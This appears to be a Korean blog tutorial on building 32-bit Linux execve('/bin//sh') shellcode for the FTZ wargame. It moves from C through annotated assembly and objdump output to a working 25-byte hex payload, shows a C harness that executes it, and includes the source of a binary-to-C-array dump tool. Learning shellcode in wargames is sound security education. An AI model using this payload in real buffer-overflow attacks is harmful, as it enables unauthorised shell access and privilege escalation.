본문 바로가기

Learning/└◆Reversing

[참고] 쉘코드(ShellCode) 만드는 방법


쉘코드(shellcode) 만드는 방법

 

 

(1) 경량 쉘코드 만들기

쉘코드는 작게 만들수록 좋다. bufer를 메모리에 집어 넣을 때 크기가 작아야 한다.


함수의 return address를 임의의 주소로 조작할 경우 프로그램의 스택영역에서 특정코드를 실행시킬 수 있다이때, cracker의 관심을 끌어당기는 부분은 프로그램(application)이 user의 ID가 아닌 특정 ID,, Set-UID나 daemon으로 실행되고 있다는 사실일 것이다이런 종류의 실수가 document reader같은 프로그램에서 일어난다면 상당히 위험하다고 할 수 있다.

 

shell을 실행시키는 이런 작은 프로그램들을 일반적으로 shellcode라고 부른다.

/bin/bash/를 바이너리 형태로 실행 하는 것, 메모리에 직접 올리려면 커널이 바로인식 해야한다.

(중간에 커널이 없기 때문에) 그러하여 1과 0으로 되어있는 바이너리 형태로 

 

 

쉘코드(Shellcode) 만드는 작업 순서

(배시쉘을 실행하는 코드의 구조 이해

(함수의 사용법 확인

(함수의 사용법에 따라 어셈블리어 코드 작성

(오브젝트 목적 코드 생성

(실행 파일 생성

() objdump 프로그램을 이용해 OP Code를 추출

() 16진수로 문자열을 변경해 쉘코드 생성

 

 

■ 셀코드를 만들때의 레지스터의 용도(EX: 범용레지스터)

----------------------------------------

EAX      시스템 콜(system call) 함수 번호

EBX      첫번째 함수 인자

ECX      두번째 함수 인자

EDX      세번째 함수 인자

----------------------------------------

 

■ 함수의 사용법


쉘코드(Shellcode) 만드는 작업 순서

(배시쉘을 실행하는 코드의 구조 이해

(함수의 사용법 확인

(함수의 사용법에 따라 어셈블리어 코드 작성

(오브젝트 목적 코드 생성

(실행 파일 생성

() objdump 프로그램을 이용해 OP Code를 추출

() 16진수로 문자열을 변경해 쉘코드 생성


[level11@ftz level11]$ cd tmp

[level11@ftz tmp]$ export LANG=C

[level11@ftz tmp]$ man execve

 

NAME

   execve - execute program

 

SYNOPSIS

   #include <unistd.h>

 

   int execve(const char *filename, char *const argv [], char *const envp[]);

..... (중략) .....

.path : 실행할 파일 경로명

.argv[] : 실행파일과 같이 수행할 인자

. envp[] : 실행파일에 넘기는 환경 변수 



■ 배시쉘을 실행하는 예제 코드 생성

[level11@ftz tmp]$ vi myshell.c

(function prototype)int execve(const char *filename, char *onst argv [], char *const envp[]); 

#include <stdio.h>

 

int main()

{

   char *bash[] = {"/bin/sh", 0};

   execve(bash[0], &bash, 0);        == execve(bash[0], &bash[0], 0);

}

 

 

[level11@ftz tmp]$ gcc -o myshell myshell.c

[level11@ftz tmp]$ ./myshell

sh-2.05b$ ps

 

 PID   TTY     TIME  CMD

3430 pts/0 00:00:00  bash

3691 pts/0 00:00:00  sh

3692 pts/0 00:00:00  ps

-> myshell 프로그램이 정상 동작한다는 것을 확인할 수 있다.

 

sh-2.05b$ exit

[level11@ftz tmp]$


■ /usr/include/asm/unistd.h 파일에서 사용할 함수의 시스템 콜(System Call) 번호 확인

 


쉘코드(Shellcode) 만드는 작업 순서

(배시쉘을 실행하는 코드의 구조 이해

(함수의 사용법 확인

(함수의 사용법에 따라 어셈블리어 코드 작성

(오브젝트 목적 코드 생성

(실행 파일 생성

() objdump 프로그램을 이용해 OP Code를 추출

() 16진수로 문자열을 변경해 쉘코드 생성


[level11@ftz tmp]$ cat /usr/include/asm/unistd.h | more   (함수호출번호)

 

#ifndef _ASM_I386_UNISTD_H_

#define _ASM_I386_UNISTD_H_


/*

 * This file contains the system call numbers.

 */


#define __NR_exit                 1

#define __NR_fork                 2

#define __NR_read                 3

#define __NR_write                4

#define __NR_open                 5

#define __NR_close                6

#define __NR_waitpid              7

#define __NR_creat                8

#define __NR_link                 9

#define __NR_unlink              10

#define __NR_execve              11

#define __NR_chdir               12

#define __NR_time                13

#define __NR_mknod               14

#define __NR_chmod               15

..... (중략) ......

 

 

 

■ 배쉬쉘을 실행하는 어셈블리 코드 생성

[level11@ftz tmp]$ vi myshell.s

 

.global _start

 

_start:

 

xor %eax, %eax    # EAX 레지스터를 0으로 초기화

xor %edx, %edx   # EDX 레지스터를 0으로 초기화

 

첫번째 인자인 "/bin//sh" 문자열을 조합

push %eax         # NULL(=0)으로 문자열 끝을 표시

push $0x68732f2f # "//sh" 문자열을 스택에 push

push $0x6e69622f # "/bin" 문자열을 스택에 push

mov %esp, %ebx   # "/bin//sh" 문자열의 주소를 저장

 

두번째 인자인 "/bin//sh" 문자열을 조합

push %edx        # NULL(=0)으로 문자열 끈을 표시

push %ebx        # "/bin//sh" 문자열의 주소를 push

mov %esp, %ecx  # "/bin//sh" 문자열의 주소를 ECX에 저장

 

# execve 함수 호출

movb $0x0B, %al # 0x0B(=11) execve() 함수의 호출 번호

int $0x80       인터럽트 호출

 

 

위에 작성된 어셈블리에 대해 자세하게 알아보자.

 

 

.global _start

 

_start:

 

언어의 main() 부분정도로 생각한다.

 

 

 

.global _start

 

_start:

 

xor %eax, %eax      # EAX 레지스터를 0으로 초기화

xor %edx, %edx      # EDX 레지스터를 0으로 초기화

 

- C 언어의 int cnt = 0; 부분정도로 생각한다.

- XOR 연산 

        0 1 0 

    XOR 1 1 0 0

------------------------------ 

        0 1 1 0

------------------------------

- XOR 연산은 2개의 operand 값이 같으면 이고다르면 1이다따라서 "XOR %EAX, %EAX"는 EAX 레지스터를 0으로 초기화 하는 작업이다.


 


.globl _start

 

_start:

 

xor %eax, %eax   # EAX 레지스터를 0으로 초기화

xor %edx, %edx   # EDX 레지스터를 0으로 초기화

 

첫번째 인자인 "/bin//sh" 문자열을 조합

push %eax          # NULL(=0)으로 문자열 끝을 표시

push $0x68732f2f  # "//sh" 문자열을 스택에 push

push $0x6e69622f  # "/bin" 문자열을 스택에 push

mov %esp, %ebx    # "/bin//sh" 문자열의 주소를 저장

 

언어에서 배열이나 포인터를 이용한 문자열 할당 정도로 생각한다.

어셈블리에서는 NULL 까지 표시해야 한다.

 

-----------------------------------------------

레지스터         저장값             의미

-----------------------------------------------

EAX                 0                NULL

EBX                 0xbfff0808      &(/bin//sh)

ECX

EDX                 0                NULL

-----------------------------------------------


(스택 구조)

|                 | 낮은 주소

|                 |

|                 |                                              

|        /bin    |  <--- SP(0xbfff0808)

|       //sh     |

|       NULL      |

|       ....     |

|       ....      |

+-----------------+ 높은 주소

 

---------------------------------- [참고] -----------------------------

[참고] push $0x68732f2f == //sh

       push $0x6e69622f == /bin

<!--[if !supportEmptyParas]--> <!--[endif]-->

-----------------------------------------

어셈블리 명령         OP Code

-----------------------------------------

push $0x68732f2f    68 2f 2f 73 68

push $0x6e69622f    68 2f 62 69 6e

-----------------------------------------

-> 어셈블리 명령은 OP Code 만들면 위와 같다.

<!--[if !supportEmptyParas]--> <!--[endif]-->

"68 2f 2f 73 68" 의미?

          68 => push

          2f 2f 73 68 => 2f(/) 2f(/) 73(s) 68(h)

"68 2f 62 69 6e" 의미?

          68 => push

          2f 62 69 6e => 2f(/) 62(b) 69(i) 6e(n)

---------------------------------- [참고] ----------------------------- 

 

.globl _start

 

_start:

 

xor %eax, %eax    # EAX 레지스터를 0으로 초기화

xor %edx, %edx    # EDX 레지스터를 0으로 초기화

 

첫번째 인자인 "/bin//sh" 문자열을 조합

push %eax # NULL(=0)으로 문자열 끝을 표시

push $0x68732f2f  # "//sh" 문자열을 스택에 push

push $0x6e69622f  # "/bin" 문자열을 스택에 push

mov %esp, %ebx     # "/bin//sh" 문자열의 주소를 저장

 

두번째 인자인 "/bin//sh" 문자열을 조합

push %edx        # NULL(=0)으로 문자열 끈을 표시

push %ebx        # "/bin//sh" 문자열의 주소를 push

mov %esp, %ecx   # "/bin//sh" 문자열의 주소를 ECX에 저장

 

 

 

-----------------------------------------------

레지스터 저장값 의미                         -> execve(&(/bin/sh), &(*(/bin/sh), 0)

-----------------------------------------------

EAX 0 NULL                                   -> execve()

EBX 0xbfff0808 &(/bin//sh)                    -> &(/bin/sh)

ECX 0xbfff0810 &(/bin//sh)                    -> &(*(/bin/sh)

EDX 0 NULL                                   -> 0

-----------------------------------------------

                                               &(*(/bin/sh) 주소의 주소값

(스택 구조)

|              | 낮은 주소

|               |

|               |

|    0xbfff0808 |  <--- SP(0xbfff0810)

|    NULL       |

|    /bin       |  <--- 0xbfff0808

|    //sh       |

|    NULL       |

|    ....       |

|    ....       |

+---------------+ 높은 주소

 

 

 

.globl _start

 

_start:

 

xor %eax, %eax     # EAX 레지스터를 0으로 초기화

xor %edx, %edx     # EDX 레지스터를 0으로 초기화

 

첫번째 인자인 "/bin//sh" 문자열을 조합

push %eax          # NULL(=0)으로 문자열 끝을 표시

push $0x68732f2f   # "//sh" 문자열을 스택에 push

push $0x6e69622f   # "/bin" 문자열을 스택에 push

mov %esp, %ebx     # "/bin//sh" 문자열의 주소를 저장

 

두번째 인자인 "/bin//sh" 문자열을 조합

push %edx           # NULL(=0)으로 문자열 끈을 표시

push %ebx           # "/bin//sh" 문자열의 주소를 push

mov %esp, %ecx     # "/bin//sh" 문자열의 주소를 ECX에 저장

 

# execve 함수 호출

movb $0x0B, %al    0x0B(=11) execve() 함수의 호출 번호

int $0x80           # 인터럽트 호출

 



-----------------------------------------------

레지스터 저장값 의미

-----------------------------------------------

EAX 0xB 정수11

EBX 0xbfff0808 &(/bin//sh)

ECX 0xbfff0810 &(/bin//sh)

EDX 0 NULL

-----------------------------------------------


(스택 구조)

| | 낮은 주소

| |

| |

|     0xbfff0808 |  <--- SP(0xbfff0810)

| NULL |

| /bin |  <--- 0xbfff0808

| //sh |

| NULL |

| .... |

| .... |

+-----------------+ 높은 주소

 

■ 어셈블리어 코드를 컴파일


쉘코드(Shellcode) 만드는 작업 순서

() 배시쉘을 실행하는 C 코드의 구조 이해

() 함수의 사용법 확인

() 함수의 사용법에 따라 어셈블리어 코드 작성

() 오브젝트 목적 코드 생성

() 실행 파일 생성

() objdump 프로그램을 이용해 OP Code를 추출

() 16진수로 문자열을 변경해 쉘코드 생성

 

# man as

  NAME

     AS - the portable GNU assembler.

# man ld

  NAME

     ld - Using LD, the GNU linker

 

[level11@ftz tmp]$ as myshell.s -o myshell.o       어셈블러 -> 바이너리 변환(2단계 거침)

[level11@ftz tmp]$ ld myshell.o -o myshell         실제코드 전환 -> 1과 0 -> 링킹

[level11@ftz tmp]$ ./myshell


sh-2.05b$ ps

PID TTY          TIME CMD

3463 pts/0      00:00:00 bash

13784 pts/0     00:00:00 sh


sh-2.05b$ exit 

exit

 

-> 정상적으로 동작하는 것을 확인 할 수 있다.

 

[level11@ftz tmp]$

 

 

■ OP Code 추출


쉘코드(Shellcode) 만드는 작업 순서

() 배시쉘을 실행하는 C 코드의 구조 이해

() 함수의 사용법 확인

() 함수의 사용법에 따라 어셈블리어 코드 작성

() 오브젝트 목적 코드 생성

() 실행 파일 생성

() objdump 프로그램을 이용해 OP Code를 추출

() 16진수로 문자열을 변경해 쉘코드 생성


[level11@ftz tmp]$ objdump -d ./myshell         바이너리를 어셈블리로 매핑하여 출력

 

./myshell:     file format elf32-i386


Disassembly of section .text:


08048074 <_start>:

 8048074:       31 c0                   xor    %eax,%eax

 8048076:       31 d2                   xor    %edx,%edx

 8048078:       50                      push   %eax

 8048079:       68 2f 2f 73 68          push   $0x68732f2f

 804807e:       68 2f 62 69 6e          push   $0x6e69622f

 8048083:       89 e3                   mov    %esp,%ebx

 8048085:       52                      push   %edx

 8048086:       53                      push   %ebx

 8048087:       89 e1                   mov    %esp,%ecx

 8048089:       b0 0b                   mov    $0xb,%al

 804808b:       cd 80                   int    $0x80

 

 

수작업으로 16진수로 변환하여야 한다.

아래와 같은 비슷한 형식으로 변경한다.


16진수로 문자열을 변경해 쉘코드 생성

<!--[if !supportEmptyParas]--> <!--[endif]-->

쉘코드(Shellcode) 만드는 작업 순서

() 배시쉘을 실행하는 C 코드의 구조 이해

() 함수의 사용법 확인

() 함수의 사용법에 따라 어셈블리어 코드 작성

() 오브젝트 목적 코드 생성

() 실행 파일 생성

() objdump 프로그램을 이용해 OP Code를 추출

() 16진수로 문자열을 변경해 쉘코드 생성


char shellcode[] =

"\x31\xc0\x31\xd2\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89"

"\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80";

 
메모리에서 해석없이 바로 실행 할 수 있도록

어셈블리어로 만들어서 바이너리로 변환하는 이유는 작게 만들기 위해서 이다.


쉘코드 테스트

 

[level11@ftz tmp]$ vi myshellex.c

#include <stdio.h>

 

char shellcode[] =

"\x31\xc0\x31\xd2\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89"

"\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80";

 

int main()

{

   printf("Size: %d bytes\n", strlen(shellcode));

   (*(void (*)()) shellcode)();

}

 

 

[level11@ftz tmp]$ gcc -o myshellex myshellex.c

[level11@ftz tmp]$ ./myshellex

 

Size: 25 bytes

sh-2.05b$ exit

exit

 

[level11@ftz tmp]$

 

 


 

 

 

 

쉘코드 만드는 방법에 대한 소개

http://www.linuxfocus.org/Korean/March2001/article183.shtml

 

 

다음은 쉘코드 만드는 코드이다.

 

 

/*

 * [cdump 0.1 by PoWeR_PoRK of netric (http://www.netric.org)]

 *  

 *  Simple pipe driven utility for creating c-style char decs from binary

 *  input. Can be of use for embedding shellcode etc in c sourcefiles.

 *  Do "./shdump -h" for a usage overview.

 */


 #include <stdio.h>


 char usage[] =

 "Usage: ./cdump [-h][-n <var name>][-u][-s <linesize>][-c [-cu]]n"

 "Pipe driven utility for coverting binary data to c char declaration.n"

 "Example: cat binfile | ./shdump -u -s 20 >> bin.cn"

 "This adds the contents of binfile to bin.c in char declaration formatnn"


 "-h <var name> See this usage overviewn"

 "-n            Name of the char identifier (maxsize=30, default=foobar)n"

 "-u            Set this to uppercase the hex outputn"

 "-s <linesize> Set the maximum line size per byte input (default=10)n"

 "-c            Comment the byte offsets into the outputn"

 "-cu           Set this to uppercase hex chars in byte offset commentn";


 int main(int argc, char **argv[])

 {

  int i = -2,oldi, lsize = 10, ucase = 0, npar = 1, cc = 1, cmt = 0, cucase = 0;

  unsigned long place = 0;

  char c, vname[31];

  vname[30] = 0;

  strncpy(&vname, "foobar", 30);

  

  if(argc > 1){

    if(!strncmp(argv[1], "-h", 2)){ 

      printf("%s", &usage);

      exit(0);

    }

   

    while(npar <= 5 && npar <= (argc - 1)){

      if(!strncmp(argv[npar], "-n", 2)){      

        strncpy(&vname, argv[npar+1], 30);

        npar+=2;

      }else if(!strncmp(argv[npar], "-u", 2)){

        ucase = 1;

        npar++;

      }else if(!strncmp(argv[npar], "-s", 2)){

        lsize = atoi(argv[npar+1]);

        npar+=2;

      }else if(!strncmp(argv[npar], "-c", 2)){

        cmt = 1;

        npar++;

        if(npar <= (argc - 1)){

          if(!strncmp(argv[npar], "-cu", 3)){

            cucase = 1;

            npar++;

          }

        }

      }else{

        npar = argc;

      }

    }


  }


  if(strchr((char *)&vname, 37) != NULL){

    printf("Cheeky Bastard! :P (fmt exploitation not allowed)n");

    exit(0);

  }


  oldi = getchar();

  printf("char %s =n/* 0000:0000 */ "", (char *)&vname);

  while(oldi != EOF )

    {

        if( ucase == 0 ){

          printf("\x%.2x", oldi);

        }else if( ucase == 1 ){

          printf("\x%.2X", oldi);

        }

        if(cc >= lsize){

          if(cmt == 1){

            place += cc;

            if(cucase == 1){

              printf(""n/* %.4X:%.4X */ ", *((unsigned short *)&place + 1), *((unsigned short *)&place));

            }else{

              printf(""n/* %.4x:%.4x */ ", *((unsigned short *)&place + 1), *((unsigned short *)&place));

            }

          }else{

            printf(""n");

          }

          printf(""");

          cc = 0;

        }

        cc++;

      oldi = getchar();

    }

  printf("";n");

  return 0;

 } 

 

 

쉘코드를 능숙하게 만들기 위해서는 쉘 코드를 만드는 기본 개념을 바탕으로 셀스톰과 같은 쉘코드를 배포하는 사이트에 있는 다양한 쉘코드를 따라 하면 될것이다.

칼리 리눅스에는 많은 플랫폼에서 사용이 가능한 shellcode가 존재한다.